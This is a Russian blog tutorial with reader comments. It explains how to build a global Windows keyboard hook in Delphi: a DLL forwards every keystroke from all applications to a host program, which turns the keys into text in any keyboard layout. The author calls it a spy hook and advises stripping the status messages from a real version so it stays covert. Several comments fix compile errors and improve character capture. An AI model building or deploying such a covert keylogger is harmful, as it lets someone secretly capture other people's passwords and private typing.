Сегодня снова вернемся к вопросу о ловушках и посмотрим их реализацию в том виде, в котором можно читать текст, набранный в любом приложении, а не просто просмотреть виртуальный и скан-код клавиши.
В прошлый раз мы рассмотрели простейший из всех известных мне примеров применения ловушек в Windows. И остановились на том, что ловушка сама писала данные о нажатых клавишах в текстовый файл.
С точки зрения устойчивости такой ловушки можно сказать, что Вам очень сильно повезет, если такая ловушка ни разу не даст сбой в работе и не повесится сама или не повесит систему. Сам по себе процесс записи/чтения в файл достаточно медленный и кто знает успеет ли ловушка отработать до конца эту процедуру и не пропустить сообщение мимо своих «ушей».
Более разумно в таких случаях использовать следующий алгоритм обработки:
- Регистрируем ловушку в системе
- Ловушка перехватывает все сообщения от клавиатуры и переправляет их в основную программу через сообщения
- Основная программа проводит дополнительную обработку данных: переводит значения LParam и WParam в символы, пишет файл и т.д. и т.п. в общем всё, что Вашей душе угодно.
Попробуем реализовать подобный алгоритм сегодня. Итак, пишем ловушку.
1. DLL для перехвата сообщений клавиатуры
Чтобы сильно не нагружать нашу библиотеку лишними операциями, реализуем в ней всего две простые функции:
- загрузки/выгрузки библиотеки
- непосредственно перехват и пересылка сообщений в основную программу
Рассмотрим листинг такой динамической библиотеки:
library HookLib; uses SysUtils,Windows,Messages, Ariphm; const HookMsg = WM_USER+$125; var CurHook:HWND; function KeyboardProc(code: integer; wParam: word; lParam: longint) : longint; stdcall; var AppWnd:HWND; Begin if code < 0 then Result:= CallNextHookEx(CurHook, Code, wParam, lParam) else begin if Byte(LParam shr 24)<$80 then begin AppWnd:= FindWindow(nil, PChar('Перехватчик')); SendMessage(AppWnd,HookMsg,wParam, GetCurrentThreadId {lParam}); Result:=CallNextHookEx(CurHook, Code, wParam, lParam); end; end; end; procedure hook(Switch: Boolean; HandleProg: HWND) export; stdcall; begin if switch=true then begin CurHook:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0); if CurHook <> 0 then MessageBox(0, 'Ловушка установлена !', 'Уведомление', MB_OK+MB_ICONINFORMATION) else MessageBox(0, 'Установка ловушке не удалась!', 'Ошибка', MB_OK+MB_ICONERROR); end else begin if UnhookWindowsHookEx(CurHook) then MessageBox(0, 'Ловушка снята!', 'Уведомление', MB_OK+MB_ICONINFORMATION) else MessageBox(0, 'Выгрузка ловушки из памяти не удалась!', '', MB_OK+MB_ICONERROR); end; end; exports hook; begin end.
Выглядит может и не эстетично, но тем не менее всё работает как положено. На что следует обратить внимание при разработке собственной ловушки?
Во-первых, рассмотрим процедуру загрузки/выгрузки:
procedure hook(Switch: Boolean; HandleProg: HWND) export; stdcall; begin if switch=true then begin CurHook:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0); if CurHook <> 0 then MessageBox(0, 'Ловушка установлена !', 'Уведомление', MB_OK+MB_ICONINFORMATION) else MessageBox(0, 'Установка ловушке не удалась!', 'Ошибка', MB_OK+MB_ICONERROR); end else begin if UnhookWindowsHookEx(CurHook) then MessageBox(0, 'Ловушка снята!', 'Уведомление', MB_OK+MB_ICONINFORMATION) else MessageBox(0, 'Выгрузка ловушки из памяти не удалась!', '', MB_OK+MB_ICONERROR); end; end;
Так как мы пишем учебный пример, то я не поскупился и накидал здесь страшных и не очень сообщений, уведомляющих нас о состоянии библиотеки. Естественно, если вы будите писать настоящую «шпионскую» ловушку, то сообщения эти будут явно излишними, поэтому их следует убрать, а вместе с ними и удалить из uses модуль Messages. Так Вы сможете сохранить свою конспиративность и размер библиотеки после компиляции значительно уменьшится.
Во-вторых, при разработке этой ловушки я использовал константу HookMsg при отправке нашей «шпионской посылки» в основную программу. Сделано это было, можно сказать, из лени :) В реальных условиях разработки такого делать не стоит, так как никто не дает вам гарантии, что в системе не найдется ещё одного пользовательского сообщения с таким же параметром. Поэтому следует воспользоваться следующим методам:
RegisterWindowMessage(HookName: string)
Эта функция регистрирует системное сообщение в Windows. Так Вы избежите неловких ситуаций с повторяющимися сообщениями.
Теперь перейдем к самой главной функции — перехвату сообщений:
function KeyboardProc(code: integer; wParam: word; lParam: longint) : longint; stdcall; var Wnd:HWND; Begin if code < 0 then Result:= CallNextHookEx(CurHook, Code, wParam, lParam) else begin if Byte(LParam shr 24)<$80 then begin Wnd:= FindWindow(nil, PChar('Перехватчик')); SendMessage(Wnd,HookMsg,wParam, GetCurrentThreadId); Result:=CallNextHookEx(CurHook, Code, wParam, lParam); end; end; end;
Что здесь собственно происходит. Во первых при перехвате сообщения проверяется значение параметра Code. В случае, если параметр меньше нуля, то вызываем функцию CallNextHookEx и выходим из функции. Так советует делать справка Windows. Но дело в том, что Code в Win32 почему-то всегда возвращает значение не меньше нуля. Так что, если Вы планируете использовать свою ловушку в Win32, то в принципе эта проверка Вам не пригодится.
Следующий шаг после проверки — поиск окно вызывающей программы.
Wnd:= FindWindow(nil, PChar('Перехватчик'));
то есть я ищу зарегистрированный в системе элемент с заголовком «Перехватчик» и, если таковой находится, то пересылаю сообщение обычным способом:
SendMessage(Wnd, HookMsg, wParam, GetCurrentThreadId);
Обратите внимание на последний параметр. По всем правилам я должен бы был отправить вторым параметром lParam, а я чего-то отправляю значение функции. Забегая немного вперед скажу, что без пересылки идентификатора процесса у которого перехвачено сообщение, транслировать полученные значения виртуального и скан-кода клавиши в букву удастся в 50% случаев — когда пользователь пишет на латинице. Так как в lParam содержится (цитирую из справки по сообщениям Windows):
lParamLo: Количество pаз, когда нажатие этой клавиши повтоpялось из-за фиксации
ее в нажатом положении.
LParamHi: Биты 0-7 в lParamHi являются scan-кодом клавиши, зависящим от OEM. Бит 8 pавен 1, если клавиша относится к pасшиpенным. Бит 13 pавен 1, если пpи нажатии клавиши нажималась клавиша Alt. Если клавиша уже была нажата до посылки этого сообщения, бит 14 pавен 1. Бит 15 pавен 1, если клавиша отпускается, и pавен 0, если нажимается.
То есть получается, что в принципе мы можем пожертвовать этим параметром в пользу правильно трансляции кодов в буквы. Чем я и воспользовался.
Для того, чтобы каждый код не отправлялся по 2 раза мы отправляем сообщение только в момент нажатия клавиши. Для этого осуществляется проверка:
if Byte(LParam shr 24)<$80 then
То есть значение LParam сдвигается на три байта вправо, младшим оказывается старший байт, затем число усекается до байта. Если в итоге оказывается, что старший бит в полученном байте равен 1 (то есть байт больше 127 = $7F), то это код отпускания, а мы забираем только код нажатия.
Это обстоятельство (отлов только нажатий клавиши) очень часто упускается начинающими программистами и в результате получается, что каждая буква пишется в лог дважды.
С библиотекой разобрались. Теперь посмотрим, что происходит в основной программе.
2. Разрабатываем приложение для чтения данных из ловушки
Вид приложения у меня получился довольно аскетичный
Но, вместе с тем, приложение имеет интуитивно понятный интерфейс :) Приложение загружает/выгружает ловушку и выводит в Memo набранный текст. Т.к. ловушка у нас глобальная, то в Memo будет транслироваться все, что вы наберете на клавиатуре пока загружена библиотека (даже если окно основной программы будет свернуто).
Для того, чтобы наше приложение работало, ему необходимо знать, что за сообщение следует принимать. Для этого объявляем как и в библиотеке константу:
const HookMsg = WM_USER+$125;
Теперь экспортируем из DLL функцию:
var Form2: TForm2; hDLL: THandle; Hook: procedure (switch : Boolean; HandleProg: HWND) stdcall;
Загрузка библиотеки производится при нажатии на кнопку «Установить хук»:
@hook:= nil; hDLL:= LoadLibrary(PChar('hook.dll')); @hook:=GetProcAddress(Hdll, 'hook'); Hook(true, Form2.Handle);
Соответственно выгрузка библиотеки проводится в обратном направлении:
Hook(false, Form2.Handle);
Самое интересное в вызывающей программе — это трансляция сообщения. Создаем метод для перехвата сообщений
procedure WndProc(var Msg: TMessage); override;
Листинг метода:
procedure TForm2.WndProc(var Msg: TMessage); var SC: integer; buf: Char; KS: TKeyboardState; MyHKL: HKL; begin inherited ; if Msg.Msg = HookMsg then begin MyHKL:=GetKeyboardLayout(msg.LParam); SC:=MapVirtualKeyEx(Msg.WParam,MAPVK_VK_TO_VSC,MyHKL); GetKeyboardState(KS); ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL); Memo1.Text:=Memo1.Text+buf; MyHKL:=0; End; end;
Отлавливаем наше сообщение и начинаем его преобразовывать в читабельный вид. Для того, чтобы понять как все это происходит я настоятельно Вам советую хотя бы вкратце ознакомиться с постом про Unicode. Вкратце суть работы процедуры такова:
В параметре wParam сообщения нам поступает виртуальный код клавиши. Как мы уже говорили, виртуальный код и скан-код можно преобразовывать друг в друга функцией MapVirtualKey. Однако, в данном случае, мы не знаем в какой раскладке была нажата клавиша и для того, чтобы её (раскладку) узнать нам требуется знать в каком процессе происходила работа с клавиатурой и получить раскладку для этого процесса вызовом функции:
MyHKL:=GetKeyboardLayout(msg.LParam);
Теперь, я думаю, становится предельно ясно зачем мы в ловушке передавали вторым параметром идентификатор процесса. Именно для того, чтобы правильно определить раскладку. Ну, а зная раскладку, виртуальный и скан-код клавиши, мы можем легко транслировать их в символ:
ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);
Конечно мы пренебрегаем в данном случае регистрами букв, т.к. принимаем TKeyboardState для вызывающей программы (что не совсем корректно), но зато можем транслировать как русский, так и любой другой символ, хоть иврит.
И в конце обнуляем дескриптор:
MyHKL:=0;
Делать это необходимо. Иначе при каждом получении и обработке сообщения вы будете вдогонку получать сообщение о критической ошибке.
Ну, а результат работы программы может быть примерно следующим:
Как видите, в пользу правильного определения раскладки мы пожертвовали некоторыми возможностями, как то регистр букв, трансляция управляющих символов и отсеивание (или верная интерпретация) нажатий функциональных клавиш.
Можно, конечно вместо сообщения переправлять в основную программу чётко определенную структуру, содержащую все необходимые данные, вплоть до состояния клавиатуры, но сегодняшняя цель поста от этого никак не зависит. Я лишь хотел показать и подчеркнуть, что в работе клавиатурных шпионов нет ничего сверхъестественного, скорее наоборот — они просты до безобразия.
Если же у Вас всё-таки остались вопросы о работе подобных программ, то не стесняйтесь — спрашивайте. Постараюсь ответить более подробно или даже выделить ответ в отдельный пост блога.
Может быть автор расскажет как можно отловить просто нажатие клавишь, т.е. мне неважно какие клавиши нажимались, важно узнать что последний раз клавиши нажимались тогда-то.
Спасибо
Это ещё проще. Чтобы узнать время последнего нажатия клавиши не требуется пересылать GetCurrentThreadId в сообщении. В этом случае обработку сообщения в основной программе можно, например, сделать вот так:
procedure TForm2.WndProc(var Msg: TMessage);
begin
inherited ;
if Msg.Msg = HookMsg then
Memo1.Lines.Add('Последний раз клавиша нажималась '+DateTimeToStr(Now));
end;
То есть при получении сообщения выписываем текущую дату и время.
программа работает, отлавливает нажатия, шлет сообщения, только в некоторых приложениях шлет по несколько сообщений (например с word excel по 6 символов одновременно). Как это можно исправить?
Не могли бы Вы подсказать как определить с помощью WM_KEYUP и WM_KEYDOWN время удержания клавиш клавиатуры.
Да по-момему никак не узнать время. Можно узнать «залипание» клавиши, когда кнопку нажали и не отпускают, но сейчас на вскидку вспомнить как это делается не могу :)
А какие модули надо подключитьь шоб запахало ато на 7 непашет
Все необходимые модули лежат на странице «Исходники», кстати, пример писался именно в 7ке так что работать должен
И все же я соглашусь с ded.
Vlad на delphi 7 и на 2005 не пашет
цитирую их:
MAPVK_VK_TO_VSC не найдена
ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);
KS не совместим тип pbyte и Tkeyboardstate
потом я разобрался с константой
MAPVK_VK_TO_VSC
и сделал
ToUnicode
вместо
ToUnicodeEX
но стал писать что мне нужен var параметр и указывает на @buf
в чем проблема?
Алексей немогли бы вы сказать, как вы побороли ошибку с MAPVK_VK_TO_VSC не найдена?
С ToUnicodeEX аналогично вашей ситуации. Вы как-нибудь решили проблему?
P.S. У меня Delphi 2009.
Сам спросил — сам отвечаю, вдруг кому пригодится: вместо MAPVK_VK_TO_VSC ставим 0, в ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL); вместо KS — @KS.
Пришлите мне пожалуйста мне на мыло kurtwagner@mail.ru работающий исходник. а то я упоковал. а он некорректно работает. анг. нормально! а рус. цифрами (((
Vlad, можете помоч с одной пролемой. Мне надо написать программку-прикол, которая перехватывает нажатую клавишу и надо что бы в программе, куда по идее эта клавиша назначалась, появилась совсем другая клавиша, причем рандомная.
у меня есть несколько идей:
1)это перехватываем название окна куда назначается буква и посылаем туда клавушу #8(backspace) , а потом рандомную.
или
2)перехватываем нажатую клавишу, и поосылаем дальше в перехватчики совсем другую клавишу
очень большая просьба что нибудь рассказать и помоч!
мож кто поможет с моим вопросом ???
KWN, lnc. У меня только один исходник — тот который на странице «Исходники». Другого нету.
у меня Delphi 7 может из-за того что старая версия. поэтому не работает?
можешь выслать исходник который у тебя работает без проблем, мне на мыло kurtwagner@mail.ru и назвать свою версию Delphi …
KWN, lnc, так этот исходник и лежит на странице «Исходники» :) Писал его на Delphi 2010. Сейчас работаю в Delphi XE2 Architect
А как мне делать так чтобы он работал на Delphi 7 (((((((((( please help!
Vlad, все же проверку нажатия клавиши будет проще организовать не так, как у тебя:
if Byte(LParam shr 24)<$80 then
а вот так:
if (lParam shr 31) = 0 then
Возможно, ты знаешь о программах типа WarKey. У тебя не было попыток написать подобную?
Mortarez, да вополне возможно, что и проще. Статье уже не один год и по-хорошему этот исходник можно улучшать и улучшать. С момента увольнения спредыдущей работы больше к таким программам не возвращался, поэтому пока даже не смотрю в эту сторону :)
Почему то на некоторых браузерах (IE 9, Firefox 10) этот пример не работает, может на новых браузерах зашита стоит?
Добрый вечер. Я, конечно, извиняюсь за поднятие столь старого топика, и тем не менее)
Как всё-таки быть с регистром символов? Даже, вернее, с тем что Shift+1=»1″ вместо «!». И ладно бы отловить состояние VK_SHIFT и добавить полтора десятка замен.. Но ведь все зависит ещё и от локали:
RU: Shift+3=№
EN: Shift+3=#
Есть ли универсальное средство? Очень хочется получать Char в любой раскладке (хоть на арабском).
balmo, я уже даже забыл, что такая тема была в блоге =). По идее средство-то должно быть — винда же как-то различает, чего мы хотим получить от нажатия клавиш? Но где это средство лежит в WinAPI…не знаю.
На всякий случай, как говорится…
Нашел решение, насколько оно «костыль» или предусмотренное microsoft не знаю..
В общем, как временное пойдет:
…
AttachThreadInput(TargetThreadId,GetCurrentThreadId(),True);
GetKeyboardState(KS);
…
balmo, спасибо большое за найденное решение — думаю, что народу пригодиться :)